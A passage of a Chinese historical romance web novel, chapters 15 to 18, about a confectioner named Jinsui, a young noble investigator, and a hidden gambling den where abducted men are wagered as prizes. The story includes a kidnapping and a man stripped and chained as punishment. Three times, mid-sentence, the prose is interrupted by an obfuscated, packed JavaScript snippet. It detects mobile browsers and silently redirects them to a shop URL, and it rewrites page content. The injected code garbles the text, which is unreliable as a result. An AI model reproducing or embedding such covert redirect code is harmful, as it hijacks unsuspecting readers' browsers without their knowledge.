今穗听见身后有脚步声,疑惑回头,却看见有个人冲上来要把自己按倒在地,然而裴樾发现了是她在这里,连忙制止了张牙舞爪的江锦初。 江锦初疑惑收手,仔细一看才发现这人是那日裴樾的救命恩人。 几人一同走到院中光亮之处。 “我朋友在这儿有份差事,今日来和她吃饭,饭后在此闲逛。”今穗三言两语就解释清楚,接着看向裴樾,似乎在说“轮到你解释了”。 裴樾刚想说来这儿办案又觉得这个说法像是在找借口,毕竟他今日并没有带提邢司的下属,身旁又有江锦初作陪,怎么看都像是来寻欢作乐的。 他话到嘴边又换了说法:“江锦初他……非要我陪他来,我拗不过他。不过我们什么都没干,就顺道看看有没有上次案子的线索。” 见裴樾拿自己当借口,毫无怜惜地摸黑自己的形象,刚想反驳,就听见裴樾又咳了两声。 他的救命恩人在此,那还是帮他一把,先不戳穿他了。 江锦初大人有大量,没再追究,也顺着裴樾说的应和着。 “那今穗就不打扰二位了,告辞。” 今穗刚想离开,裴樾就下意识地挽留:“等等。” “不知世子还有何事?” 她还是没能将称呼变过来,裴樾没由来的失落:“就是想问……你用晚膳了吗?要不要与我一同用个晚膳。” 刚说完,裴樾就想起来今穗刚说过自己饭后来后院闲逛,自然是用过晚膳了。 他更加懊恼了。 “已用过了,多谢世子好意。”今穗客气地回应,只是说话间都带了几分不易察觉的笑意。 “哎呀今穗妹妹,裴樾他就是想和你多待一会,连个借口都不会找。”江锦初忍不住出声帮忙。 听江锦初说得这般直白,但的的确确戳中了自己的心思,裴樾有些脸红:“我……” 15. 她的赌注 今穗不禁面露疑惑,但忽然又想到裴樾应当还在为那晚所谓的救命之恩耿耿于怀,她随即解释道:“那夜搭救世子不过是举手之劳,世子不必如此挂怀。” 话虽如此,但裴樾还是无法将这份恩情就这般一笔勾销。 “我知你医者仁心,治病救人乃是再寻常不过之事,但是于我裴樾而言,救命之恩,不能不报。”裴樾语气郑重,但在旁人看来却格外执拗。 听了这番话,今穗欲言又止本想再解释些什么,但又不知从何说起,是说她并非医者,还是再去劝他这区区小事,不足挂齿。 正在她犹豫之际,施窈见她迟迟不回便到后院寻她,却发现庭院当中,两男一女,似是相谈甚欢。 今穗正背对着她,不知是何神情,她对面的两位男子,一位是闻名于京城的江小侯爷,另一位相貌英俊,气质雍容华贵,但却面生得很。 按理说这东京城中稍微有头有脸的富家子弟她应当都了如指掌了,这位虽面生但是和江小侯爷这样的人站在一块气势都丝毫不逊色。 施窈疑惑着上前,默默走到今穗身旁:“今穗,你这是……” 见施窈刚好过来,今穗终于如同解脱一般,赶紧跳过先前的话题,积极地为她介绍:“这位是裴樾,另一位是江小侯爷,你应当也认识。” 施窈迟疑地点点头,她倒是对这两人没什么兴趣,注意力只在今穗身上:“天色不早了,我们回去吧。” 今穗就等她来说这句话呢,她十分流畅地回应道:“既然如此,我们二位就先告辞了。” 裴樾也不好多加挽留,今穗就揽着施窈十分迅速地离开了,只留下略显落寞的裴樾和在一旁看戏看得十分投入的江锦初。 施窈一脸不明所以地被今穗拽着离开,还不忘盘问这个行迹可疑的女人:“快说!你和那位叫裴樾的是什么关系,还有江小侯爷怎么也在?” “裴樾是裴国公府的世子,他和江小侯爷来此应当是为了查案,我在后院碰巧遇到了而已。”今穗含糊不清地回应着。 “他们查案与你何干,别打马虎眼,你和那什么裴世子到底什么关系。”施窈表情十分严肃,仿佛审讯犯人一般。 今穗经不住施窈的再三追问,终于将她曾经救过裴樾的事和盘托出。 “你与这裴世子竟这般有缘分。”施窈感叹。 不过事情说清楚了,二人也就不在此事上继续纠缠。 “咦?纪公子呢,怎么就只有你一个人了?”今穗赶紧转移施窈的注意力。 先前他们二人还好好地坐在一块吃饭,怎么她就出来一会就不见那人的踪影了。 “被我打发走了。”施窈满不在乎地回道。 今穗也不知道说些什么,毕竟她瞧着这纪正卿对施窈情意不浅,偏偏后者对此却浑然不觉。 看来这纪公子想要抱得美人归还得下一番功夫。 二人在这祈陌春坊左右也无事可做,没逗留太久便一同离开了。 另一边裴樾和江锦初也没有再回到那个厢房,祈陌春坊的厢房中总是有一股奇怪的幽香,闻久了便觉得脑子迷迷糊糊的。 他们一同漫步在东京城灯火通明的街道上。 裴樾还是想不通,自己只不过是想向救命恩人回报恩情,为何为变成一件如此棘手之事,他甚至觉得这件事要比过往探查的那些疑案都要困难许多。 他眉头紧蹙,发觉身旁的江锦初一个劲儿地看自己的笑话,没好气道:“这赌坊你也看了,可看出什么名堂?” 听裴樾提起正事,江锦初也收敛了几分笑意:“这间赌坊表面上没什么问题,里面也是一些常见的赌牌、赌骰子、赌棋之类的玩法,且依我看,你我现在看到的场景就是这间赌坊原本的模样,并不像你所说是提前布置好的。” 裴樾听着江锦初说的,眉头皱得更深了。 “但是。”江锦初神秘兮兮的,像是发现了什么大秘密,“凡赌必有赌注。” “赌注?不是金银钱财一类的?” “问题就在这儿。寻常赌坊当然是以金银作赌,但这间赌坊不一样。”江锦初想着如何跟裴樾解释,“普通市井百姓或是富贵之家出入赌坊若是将身家钱财输尽,便会以自己的车马、宅屋以及歌姬舞女之类的作抵,这些都可以充当相应价值的金银。” 裴樾更加不理解,赌博一事若是将全部身家都赔进去,又有何乐趣可言。 “据我推断,这间赌坊并非寻常赌钱,而是赌别的东西。这赌坊主人所隐藏的应当就是这个赌注,这个恰恰是关键所在。”江锦初信誓旦旦。 这官府虽明令禁止民间赌坊,但暗地里大大小小的赌坊数不胜数,早已是上下皆心知肚明之事。 他接到匿名报案便查封了这间赌坊,虽找到了和孟家之人有关的蛛丝马迹,但还是无法准确找到这个幕后之人,且目前的证据不够充分也不能直接上孟府拿人。 “赌坊虽被禁止但民间已有不少,目前找不到地下赌坊的其他问题我也不好贸然将其清算,否则因此时引得京中赌坊动荡不安,怕是牵一发而动全身。”裴樾仔细思索着是否有万全之策。 朝中不少官员也是爱赌之人,若因此事惊动了陛下更是不妥。 只是这匿名报案之人独独举报这一间赌坊不知是何用意。 “裴兄这几年倒是变了许多。”江锦初笑道,“从前的裴兄可是提邢司当中令人闻风丧胆的铁面无私大提刑官。” 裴樾闻言也淡淡一笑,他过去只知公义不顾大局,若是处理所有事情都这般自是不妥。 今夜风轻云淡,月色正好,他们又一同通过大货行巷去往白矾楼吃酒。 二人举杯邀月,把酒言欢。 第二日,今穗将做好的茶荔簪雪从冰窖中取出放在台盘之上,就在她准备去找姜佩兰之时,忽然间又犹豫了。 她看着瓷碗当中晶莹剔透的凉粉,又觉得这道点心格外单调,只用素白的瓷碗盛装,看起来太过平平无奇,与糖水铺子里的东西没什么两样。 今穗思索着,又去将自己前段时日研究的雕花蜜饯找出来,发现一个外形呈碗状,中心镂空,侧边雕刻着简单的花鸟,整体看起来十分小巧可爱。 若是用这个来盛这道茶荔簪雪,倒是很有新意。 她这么想着,又将其重新做了一遍,最后盛到雕花蜜饯当中。 今穗昨日就与施窈说好今日一早要一同去见姜佩兰和章总管,这会子施窈都过来却见她还没有把东西准备好。 “你改变主意了?” “没有,就是想再加点东西。”她回应着,手上的动作一刻也没停。 施窈也没多问,毕竟今穗向来是个很有主意的人,她做什么都有自己的缘由。 等一道新的茶荔簪雪做出来的时候,已经将近晌午时分,施窈看着这道点心如同盛在翠绿的碧玉当中,惊讶地张大了嘴巴。 “这、这……” “外面的碗叫作雕花蜜饯,我估摸着只盛在瓷碗当中未免单调,就想到了这个。”今穗颇为自得地解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019239|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 此时此刻,在施窈心中,今穗的形象在她心中瞬间高大了起来,她对这个满脑子新点子的姑娘简直要佩服到五体投地。 眼前的茶荔簪雪呈半透明状,上方升腾着股股凉气,碗身也是镂空的,雕刻的图案栩栩如生,最为精妙的是光线透过凉粉和镂空投射出来,光耀四射,极其漂亮。 简直像是一个被人珍藏许久,不轻易展示的名贵摆件。 施窈现下更是觉得今穗多了几分胜算。 若不是正事要紧且这点心无法长久保存,施窈都要央着今穗送她一个留作珍藏。 她们一同来到总管的房门前,今穗端着台盘不便,施窈便替她敲门。 姜佩兰平日并不常在蜜煎局待着,一般都与总管在一处,协助处理四司六局大大小小的事务。 二人进入屋内,只见姜佩兰正与章总管商讨此次生辰宴的一些细节,他们见来了人,也都停下来看向她们。 “今穗?你怎么来了?”姜佩兰见来的竟是今穗,很是疑惑。 “姜掌事,这是……”一个身材微胖、长相很喜庆的男人问道。 “今穗前些日子刚来的蜜煎局,您应当瞧着眼生。”姜佩兰解释道。 听她这么说,章总管又疑惑地看向今穗身旁的施窈:“施掌事,你这又是……” “我是陪今穗过来的。” 章总管看着屋内的三人,一头雾水。 今穗开门见山,将台盘上的瓷碗端到二人面前,直接说明来意:“章总管,佩兰姑姑,我今日是想与二位商量一件事情。” “生辰宴之时,我想将这道点心呈给长宁郡主,还请二位答允。” 听她是为了这事而来,章总管想都没想就准备拒绝,毕竟裴国公府明令禁止过的事情,顶风作案万万不可取,况且先前也有一些人过来想说服他将自己做的点心蜜饯之类的呈上去,他都严词拒绝了。 可是还不等章总管开口,今穗就接着说道:“我这道点心名为茶荔簪雪,是以川椒、生石灰、绿茶等有益牙齿之物作食材制作而成,最后加入白凉粉再放入冰窖,吃起来清热解暑,沁人心脾。” 说着,今穗就将其端到章总管面前,示意他先品尝一下。 本来章总管已然准备拒绝她了,可听今穗这么一说,话到嘴边又咽了下去,他倒是要尝尝这道点心是否像这姑娘说得这般好。 他用瓷勺舀了小半勺放入口中,仔细品味咀嚼。 口感……极为惊艳。 章总管瞬间瞪大了眼睛,但还是努力保持着不露声色的模样。 今穗和施窈都捕捉到了这一点,脸上笑意更盛。 堪堪尝了两勺,章总管意犹未尽但又不想表现出十分喜欢这道点心的样子,就把它往姜佩兰那边推。 姜佩兰只尝了一口便满眼惊喜,毫不吝啬地夸奖今穗:“做得很不错。” “谢谢佩兰姑姑。”今穗内心雀跃不已,语调都不自觉上扬。 章总管瞥了姜佩兰一眼,她也只好将自己眼中毫不掩饰的欣赏收敛了几分。 “这道点心中所选用的食材都是对牙齿百利而无一害的,且这盛装点心的碗也是我精心雕刻而成,名唤雕花蜜饯。”今穗继续介绍着自己的杰作。 “你竟然会做雕花蜜饯?”姜佩兰赞叹道,蜜煎局中会雕花蜜饯之人虽不少,但像今穗这样到这儿不足月余便有如此功力,实在是极为罕见。 上一个让她这般惊叹的还是云从,只不过他天分有余,勤奋不足。 16. 青梅煮酒 “雕花蜜饯集观赏性和实用性为一体,我对这个很感兴趣就自己摸索了一番,雕虫小技而已。”今穗自谦道。 几人都卖力吆喝到了这个份儿上,章总管仍然是一副令人难以捉摸的表情。 施窈见状也在一旁说着好话:“今穗妹妹做的这道点心可谓是堪比宫廷御宴,不仅美观还美味,名字也雅致,若是没机会呈给郡主,让他们知道咱四司六局的实力,真真是可惜至极。” 施窈说话间眉飞色舞,仿佛茶楼里的说书先生,另外两人都被她这个模样逗笑了。 章总管的内心也逐渐动摇起来。 “你这点心确实不错。”章总管一副要答应的架势,但还不等她们几人喜笑颜开,又话锋一转,“但是国公府的命令不可违逆。若是我应允了你,岂不是对其他人有所不公。一旦为你开了先例,四司六局中其他人的想法我就不能不顾及。” 闻言,今穗瞬间变得失落。但是仔细一想章总管的话确实没错,她先前还是把事情想得太简单了。 施窈本想再说些什么争取一下,但是姜佩兰给她递了个眼神,她又停住了。 房间内陷入了沉寂。 章总管转过身不去看她们的反应,将双手背在身后,望着墙上的一副不知名画作出神。 这幅画不像是出自大家之手,水墨的浓淡运用稍显稚嫩。画上画的是一个热闹祥和的宴会场景,宴会上人物众多,神态各异,整体自然灵动。 作为四司六局的总管,在屋子里挂这样一副画也不足为奇。 见章总管这个样子,她们明白已经没有了转圜的余地。 姜佩兰叹气,她小声地劝着,才将恋恋不舍的二人送出门外。 回去的路上,今穗表情晦暗,不见伤心更不见高兴。 倒是施窈为着刚刚的事,气不打一处来:“章总管也真是的,他就是个不知变通的老古板。” 她一边数落着还不忘安慰今穗:“今穗你别难过,咱们再想想别的办法。” “嗯我明白,虽然被拒绝了有些失落,但也不是不能接受。”今穗长叹一口气,“是我们把事情想得太好了,路漫漫其修远兮,总会有别的出路。” “路漫漫什么?”施窈没太听明白今穗说的这句话。 今穗噗嗤一笑,刚刚还低落的情绪因为施窈这句可可爱爱的话瞬间一扫而光。 施窈却被她这一笑搞得摸不着头脑,也不知笑点从何而来。 “我的意思是路还长,我们慢慢走。”今穗假装一本正经地解释。 “哦,那有什么好笑的嘛。”施窈嗔怪道。 “嗯,不好笑。”今穗努力憋笑。 “今穗你现在都学坏了,绝对是云从把你带坏了。” 施窈气急到去捏今穗腰间的软肉,今穗难以抵抗,连连躲闪。 “好了好了,我那儿又做了些凉粉,你还想不想吃了。” “想!” 二人一路打打闹闹,完全看不出方才从章总管那儿出来时的垂头丧气。 施窈跟着今穗回了蜜煎局,拿了凉粉瞪了云从一眼才走。 云从一脸无辜的模样:“你们……在背后说我坏话了?” “怎么会呢师父。”今穗面不改色地否认道。 云从半信半疑:“看你们回来时这么高兴,找章总管游说成功了?” “师父怎么知道我们去找了章总管?”今穗十分惊讶,毕竟这件事她在此之前只和施窈说过。 “都说了四司六局没有我不知道的事。”云从笑得很得意,“你们这件事其实不难。” 见云从对此事似乎颇有见解,今穗也来了兴趣:“还请师父指点一二。” 云从一副神秘兮兮的模样:“既然章总管不同意,那你直接先斩后奏,生辰宴当日人杂事多,越过章总管悄悄端一道点心到郡主面前也不是难事。” 听他这么一说,今穗的期待又落空了,她就不该对自己这个不靠谱的师父抱有任何希望。 她本来选择这么做并不是为了去讨好长宁郡主,只是想借此机会提升自己在四司六局中的地位。若是按照云从的方法去做,最后得罪了章总管,岂不是与自己的初衷背道而驰。 今穗有点不太想搭理云从,下午待在蜜煎局都有些心不在焉,傍晚时分罕见地很早就离开了四司六局。 她早早回到医馆,却碰见孟织筠正在自家医馆的柜台前。 “织筠姐姐?”今穗对孟织筠的出现很是意外。 孟织筠回过头,她先是疑惑皱眉,后来又想起那日在晚香阁见到了这姑娘取下面纱的样子,有些许模糊的印象。 “你是……裴世子的救命恩人?”孟织筠努力回忆道。 “我叫今穗。”听她这么说,今穗也没在意,直接说明了自己的名字。 孟织筠点点头,她又看了眼柜台后的乔逊,这才发现乔大夫就是那日路上与今穗同行之人。 “竟有如此缘分,我今日为了一味药材跑遍了东京大大小小的药铺,偏偏在乔大夫这里找到了。”孟织筠语气中颇为感叹。 乔逊淡淡一笑:“也不是什么名贵的药材,不过是其他的药铺药材多容易忽略,我这小医馆恰巧有罢了。” “这么一说,确实极有缘分。”今穗微微一笑,“那日偶遇也是如此,还是得多谢织筠姐姐了。” “举手之劳。”孟织筠礼貌回应。 等乔逊抓好了药材,孟织筠向父女二人微微点头致意就准备离开。 就在这时,今穗出言挽留:“织筠姐姐,我酿了青梅酒,天色尚早,不妨停留片刻与我共饮一杯。” 孟织筠本是个清冷的性子,在家中就与那些年龄相仿的小辈无甚往来,论起京中世家闺秀,也并无至交好友。 她不似江锦初到哪儿都能够左右逢源,一直以来对人际交往一事不大热衷,听到今穗的邀请,孟织筠是下意识地想拒绝的,可是当她看到今穗那双装满热切的明亮双眸时,这拒绝的话到了嘴边又开不了口。 见孟织筠没有立即拒绝,今穗内心很是欢喜,她自然地走过去接过那包药材,妥善地放置在柜台之上。 已经到了这个地步,今穗更是赶鸭子上架一般拉着孟织筠就往后院走,而孟织筠就这么半推半就间应下了今穗的邀请。 二人一同来到院子当中,院中的桂花树随着盛夏时节的到来也愈发郁郁葱葱,浓密的树荫下,摆着一张小巧的方桌和两把竹椅。 今穗拉着孟织筠在竹椅上坐下,清风徐来,树影婆娑,倒是颇为惬意。 她又去屋里取来了青梅酒和一盘梅子姜,今穗将酒缓缓倒进瓷杯当中,琥珀色的青梅酒在杯中荡漾。 青梅酒酸甜的气息混合着梅子姜的甜味在夏夜燥热的空气中挥发,对面的姑娘笑意盈盈,此情此景让孟织筠觉得留下也是个不错的选择。 “这是我酿的青梅酒,这个是我自己做的梅子姜,织筠姐姐不嫌弃的话都可以尝尝。”今穗说话时热情却又不失分寸,像夏日里树叶上跳跃的金色光线,轻盈又深刻地落在她的心间。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019240|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她不由自主地想去亲近这个姑娘。 “嗯,极好。”孟织筠先吃了一枚梅子姜,又喝了一口梅子酒,清甜爽口,让人身心舒坦。 二人就这般一边喝酒吃梅子姜,一边谈天说地,从一开始的客气疏离聊到后来的亲密无间。 除江锦初以外,孟织筠从未与人这般交心。 “织筠姐姐与江小侯爷之事闹得满城风雨,不知今日可否有幸听得姐姐一言,让我也好一睹何为神仙眷侣。” 不知是否是不胜酒力,还是被今穗这番话闹得,孟织筠柔美的脸蛋逐渐变得红润:“我与锦初……” 提起她这位青梅竹马的未婚夫婿,孟织筠少女情态毕露,她双眸微垂,两颊酡红:“与锦初相识已久,以后自是要嫁与他,只不过现在还不是时候。” “哦?”今穗更来了兴趣。 “心中总有尚未了却的心愿,去岁我与锦初南下游玩,直到那时我才发现,长大至今竟有那么多美好的风景未曾亲眼见过。” 孟织筠对那段时光极为怀念,说话间眸中都闪烁着难以言喻的光芒。 “自少时与锦初相识,似乎人人都认为我与他是命定的夫妻,这般说来似乎也没错。可是正因如此,我生活的全部就变成了学习如何做好锦初的妻子,如何当好人人艳羡的侯府夫人。” 说起这个,孟织筠的眸中已然充满了抗拒的情绪。 “我真的不愿如此。”她微微叹了口气接着说道,“就在回京的途中,我们意外遭遇劫匪,当时地处荒郊野外,锦初为了护我身受重伤,等不及援兵,我们只好到附近的庄子上暂住。那段时日为了照顾锦初,我也学习了不少医药方面的知识,也逐渐想明白了自己所追求的东西为何物。自此我便立志精进医术,花更多的时间去帮助百姓,而不是上赶着当受人摆布的侯府夫人。” 听着孟织筠这番话,今穗也陷入了沉默。从前只道王孙贵族生来尊贵,家财万贯,应当是一辈子顺心遂意,谁曾想身在其中之人也有难言之隐。 “织筠姐姐生于富贵之家,已经是这世上千千万万人的求之不得了。”今穗的神情略显落寞。 “我明白,所以我才想竭尽全力去学习医术,并尽我所能地去救济有需要的人。” 像孟织筠这般娇生惯养长大的闺阁女儿,能有这样的想法也着实让今穗惊讶又佩服。 今穗不再多言,她举起酒杯,用眼神邀请孟织筠与她碰杯,二人相视一笑,清脆的酒杯碰撞声后,皆一饮而尽。 月色蔓延,毫不吝啬地给院中两位姑娘的身上镀上一层银辉。 二人畅谈许久,直至夜深,她们才依依不舍地分别。 孟织筠离开后,乔逊过来帮今穗一起收拾院中的方桌:“今晚可打听到有用的消息?” “或许吧。”今穗意味不明地回道。 自那时得知孟织筠是孟家人之后,今穗就在筹谋着这一天。 乔家医馆规模虽小,但也时常会给东京城中的各大药铺提供一些临时紧缺的药材。 他们便有意减少了其中一味药材的供应,孟织筠钻研医术,若是有一味药材遍寻不得,自会找上门来。 如此,今穗便可趁着这个机会接近孟织筠,从她身上获取关于孟家的消息。 但是过了今晚,今穗心里五味杂陈,因为她清楚地感受到,孟织筠和那些道貌岸然的孟家人不一样,是个极其赤诚纯善之人。 然而,这两个姑娘友谊的开始,却是因为其中一方的算计和利用,不知会作何收场。 17. 郎艳独绝 祈陌春坊的地下赌坊已被查封了数日,但是身为提刑官的裴樾仍然对此没有头绪。 若是迟迟查不出问题却一直扣着这间赌坊,怕是不妥,因此裴樾只好撤了赌坊门口的守卫,暂时按兵不动。 然而守卫撤了没几日,这赌坊似乎又迫不及待有了动静。 入夜,祈陌春坊的前堂如往常一般歌舞升平,沉寂多日的后院也在今日突然热闹起来。 一位妙龄少女,浓妆艳抹,乌发如瀑,着一袭热烈张扬的红衣,迎着月色轻车熟路进了赌坊。 孟婵刚踏入赌坊,就有两位长相阴柔,玉面朱唇的男侍殷勤地迎上来替她取下身上的披风,其中一位关切地询问道:“婵主近来可好?” 另一位也含情脉脉地望着她:“奴很想您。” 她似乎早已习惯,只是随意看了眼赌坊内的情况,然后微微点了点头漫不经心回道:“都好。” 赌坊内的其他人也在这时注意到了她的到来,纷纷围过来寒暄:“多日不见啊三姑娘。” 这些人大多是年龄在三四十岁左右的中年女子,穿金戴银,富态十足。 仔细一看,其中还有几位是朝中已故高官之妻。 “今日为何来得人这般少?”孟婵语气不悦。 “回婵主的话,估摸着是因为前些日子查封,有些夫人不知道咱这儿又开张了,还有些是……”其中一位男侍嗓音轻柔,欲言又止,“想再避避风头。” “罢了。”孟婵眉眼间添了几分不耐烦,但懒得追究这件事,就向今日到来的夫人一一问好。 夫人们也都和蔼可亲地回应她,即使赌坊经此一事颇有衰颓之势,但可以看出今日到场的夫人仍然对这间赌坊极为支持。 这赌坊还有个名字,名为“郎艳”。 本来赌坊门口有个写着“郎艳”二字的牌匾,前些日子为了掩饰赌坊内的真实情况,就暂时撤掉了。 孟婵今日过来时没看到牌匾挂回去,很是心烦意乱,就想去质问至今仍不见人影的老肯。① 只见一位披头散发、面色红润的男子一边着急地穿衣裳一边慌慌张张地从里间出来,散乱青丝下遮掩的容色,比赌坊内其他的男侍有过之而无不及。 “今日事多,奴不慎将牌匾这事儿给忘了,请婵主责罚。”老肯见孟婵面有愠色,说话间战战兢兢,双眸含泪,一副我见犹怜的模样。 在场的夫人见状都心有不忍,连忙出言为这位貌美娇弱的老肯解围:“今日是郞艳重新开张的好日子,三姑娘莫要动气。” “是啊是啊,老肯一直以来都十分忠心,三姑娘这次就饶了他吧。” 在几位夫人的劝阻下,孟婵依然不为所动,冷脸吩咐道:“依规处置。” 说完,老肯就被人粗暴地剥掉衣服带回了里间的床榻之上,整个人呈下跪的姿态,双手的手腕处都被床顶垂下的铁链吊着高举过头顶,嘴巴和腰腹也被铁质的器具牢牢禁锢。 “好了,夫人们不要被他影响了心情,今夜的好戏才刚刚开始。” 说完,屋内便响起了一阵缠绵悠扬的乐声。 “前些日子因郎艳被查封,害得各位夫人没能尽兴,恰巧坊里刚来了新人,今晚我就在这儿陪各位夫人尽兴而归。” 孟婵拍了拍手,屋内正中央的圆形赌桌随着“轰隆”一声慢慢下降,紧接着升上来一个圆台,圆台之上是一个高大的铁笼。 一位身材结实挺拔的男子正在铁笼之中昏迷不醒,身上的粗布麻衣被人扯得歪歪扭扭但尚能蔽体,脸上和身上裸露的肌肤都有一些淤青和血迹。 即便如此,这些都无法掩饰男子的清隽容颜和那股子书卷气。 郎艳似乎还从未来过这样的男侍,各位夫人见了皆是满眼惊艳。 但孟婵见今日的赌注竟是这副污糟模样,不悦问道:“怎么回事?” “回婵主的话,这事儿是老肯办的,奴……不知。”答话的男侍十分小心翼翼,生怕说错了什么惹她不高兴,“兴许是他……心有不愿,奋力挣扎所致。” 听到这个回答,孟婵非常不满意,今日的纰漏一个接着一个,若总是如此,她这郎艳迟早得关门。 但见各位夫人对今夜的赌注似乎很是满意,她也没工夫再去追究这个事。 夫人们摩拳擦掌,皆是一副对今夜的赌注势在必得的模样。 郎艳内关于“赌”的规则其实很简单,即通过寻常赌坊中的赌博形式,决出最终的赢家。 每人最初拥有一定的筹码,经过一晚上的赌博之后,最终拥有筹码最多的人为今夜的赢家,才有资格用筹码兑换赌注,并获得赌注的所有权。 每个赌注都有他的价格,兑换赌注时开价,一般情况下,赢家所拥有的筹码都要比赌注的价格高许多,兑换赌注之后剩下的筹码可以换回银钱。 但也有例外的情况,赢家所拥有的筹码低于赌注的价格,她则会血本无归,既得不到赌注筹码也输光了,瞬间变成输家。 筹码是用银钱兑换而来,因此若是看上了当日的赌注但赌运又差了些,最简单快捷的方式即是砸钱,直接让自己成为拥有筹码最多的人。 但是因为赌注的价格不确定,这法子也很有风险。 这是郎艳的盈利方式,一直以来收入非常稳定,若是遇上赌注极其抢手的情况,也能大赚一笔。 来郎艳的人大都是丧夫的寡妇,夫家不是在朝中当官就是各个行业的富商巨头,金银这等身外之物她们是最不缺的。 今夜的赌注十分讨夫人们欢心,因此兑换筹码时都特别阔气,孟婵也加入其中,与各位夫人一起赌,逐步将今夜的气氛烘托至高潮。 笼中的男子睫毛微动,似是有醒来的迹象。周围声音嘈杂,丝竹之声与喧闹的人声缠绕在一起,吵得他头疼欲裂。 纪正卿缓缓地睁开眼。 这……这里是什么地方? 他缓慢地伸手按了按自己的太阳穴,努力回忆自己昏迷之前的情形。 他只记得他在来祈陌春坊找施窈的路上,夜黑风高行至一处人烟稀少的小道时突然被人打晕了,等到自己有意识的时候,却发现双眼已被死死蒙住什么也看不见,双手被绑在身后,就在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019241|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备想发力解决身后的绳索时,竟有人来扒他的衣裳。 这可万万不行,他还得为了窈窈守身如玉呢,纪正卿不顾一切地奋力挣扎。经过一番纠缠,扒他衣裳的人也放弃了,一会儿就没了动静,紧接着他就闻到了一股奇怪的异香,很快他又昏迷了过去。 再醒来时就是在这个陌生且诡异的地方。 纪正卿睁开酸涩的双眼,发现自己被锁在一个铁笼之中,栏杆外面围了一圈全是人,但似乎暂时没人注意到他醒了,只是专注于赌桌上的情况。 这个房间四面无窗,室内灯火通明,完全判断不出外面是白天还是黑夜。 房间内的布置……似乎像是个赌坊? 纪正卿自穷乡僻壤而来,乡下自是没有这般装饰华丽的赌坊,只是进京以后,曾遇人不淑被带进过一个赌坊,他深知赌博害人害己且囊中羞涩很快就逃离了,因此他能认出自己现在所处的地方应当是一间赌坊。 只是这件赌坊内大都是女子,偶有几个男子看着像是在伺候人,与他先前所见很不一样。 纪正卿此刻侧身躺着,头发散乱地盖在他的脸上,因此没人发现他这里的异样。 此刻人多,自己势单力薄,双手被束缚不宜轻举妄动,还是先装作昏迷,看看接下来会发生什么再随机应变找机会逃脱。 另一边,麦秸巷内一间不起眼的门户。 今穗刚赶到就见施窈着急地在房内来回踱步。 “你先别急,到底发生什么事了?”今穗一路赶来气喘吁吁,连忙出声安慰施窈。 “昨日纪正卿说要来祈陌春坊找我,可我左等右等也不见人,以为他是临时有事耽搁了就没将此事放在心上。可是按理说他第二日应当过来跟我解释一下或是托人带个话,可是现下足足过了十二个时辰都不见他的消息。”施窈语气十分焦急,好不容易才将事情的原委说清楚,“他在这东京举目无亲,身上又没有多少银钱,这么长时间没有消息会不会已经遭遇了不测。” 施窈急得几乎要哭出来。 今穗努力保持镇定,冷静思考。 纪正卿昨日未能赴约,若是遇见意外应当昨晚就出事了。 “近几日祈陌春坊有发生什么特别的事吗?”今穗问道。 “近几日……”施窈的脑子里几乎已经成了一团乱麻,她强迫自己去回忆这几日自己在祈陌春坊的所见所闻,“特别的事……对了,前段时日后院一直有守卫把守,前几日似乎刚被撤走了,我当时见到了还觉得奇怪,因为这些守卫来得时候静悄悄的,撤走的时候却动静很大,像是故意所为” 后院的守卫……那应当是与她当时不小心听到的地下赌坊一事有关。 今穗思考着,开始试着理清事情的前因后果:“这守卫刚一撤走,纪公子就出了意外,他的失踪应当与祈陌春坊的后院有一些关联,我们当务之急是去后院一探究竟,看能否找到一些线索或者说……纪公子就在那后院之中。” 听今穗这么一分析,施窈瞬间有了主心骨一般稍微冷静下来一点,她们二话不说就立马动身往祈陌春坊赶。 18. 签字画押 此刻时近午夜,在漆黑寂静的街道上,唯独祈陌春坊笙歌阵阵,亮如白昼。 严妈妈不知道又去哪里招呼客人了,二人避开人群,一路畅通无阻来到后院。 后院的厢房是祈陌春坊姑娘们的居所,这个时辰,姑娘们要么在前堂接客要么已经睡下了,屋内应当不会亮着烛火。 她们大致看了一下,只有几间厢房是亮着的,其余皆是一片漆黑。 这里的气氛与前堂截然相反,夜半时分静悄悄的,稍微有些声响便会惊扰厢房中的人。 二人刚到后院便犯了难,厢房众多一时之间不知从何下手。 施窈向来不和祈陌春坊里的姑娘往来,现下如此紧急的时刻也找不到一个所托之人。 今穗观察着后院的环境,怎么看这些厢房都不像是藏着地下赌坊的样子。 若是一间间敲门查看势必会打草惊蛇,她们得想想别的办法。 这地下赌坊既设在祈陌春坊的后院,严妈妈就不会对此事毫不知情。 